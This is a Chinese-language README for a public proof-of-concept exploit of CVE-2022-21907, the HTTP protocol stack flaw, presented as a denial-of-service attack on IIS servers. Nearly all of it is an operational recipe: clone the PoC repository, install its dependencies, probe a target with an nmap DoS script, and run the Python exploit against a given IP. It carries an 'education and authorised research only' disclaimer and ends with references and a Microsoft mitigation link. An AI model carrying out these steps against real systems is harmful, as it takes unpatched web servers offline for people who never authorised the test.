CVE-2022-21907 - HTTP 协议栈远程代码执行漏洞

---

⚠️ 仅用于教育和授权安全研究目的

原始漏洞利用作者

非常感谢原始 PoC 作者 NU11SECURITY 和 michelep

描述：

HTTP 协议栈远程代码执行漏洞。该漏洞可对运行 IIS Web 服务器的目标系统发起拒绝服务攻击。

---

操作步骤

1. 安装 git，然后从 GitHub 仓库克隆 PoC：

   root@kitploit:~

   sudo apt install git -y
   git clone https://github.com/asepsaepdin/CVE-2022-21907.git
   

2. 使用 pip3 命令安装依赖：

   root@kitploit:~

   sudo apt install python3-pip -y
   cd CVE-2022-21907
   pip3 install -r requirements.txt
   

3. 使用以下命令检查目标机器是否存在该漏洞：

   root@kitploit:~

   nmap -p 80 --script dos_iis_2022_21907 10.10.10.1
   

4. 然后，使用以下命令运行 PoC 脚本：

   root@kitploit:~

   python3 CVE-2022-21907.py -i 10.10.1.10
   

   注意：使用 -i 选项指定目标 IP 地址

---

致谢

• https://nvd.nist.gov/vuln/detail/CVE-2022-21907#match-8257502
• https://www.exploit-db.com/exploits/51575
• https://github.com/mauricelambert/CVE-2022-21907
• https://github.com/michelep/CVE-2022-21907-Vulnerability-PoC

缓解措施：

• https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907

---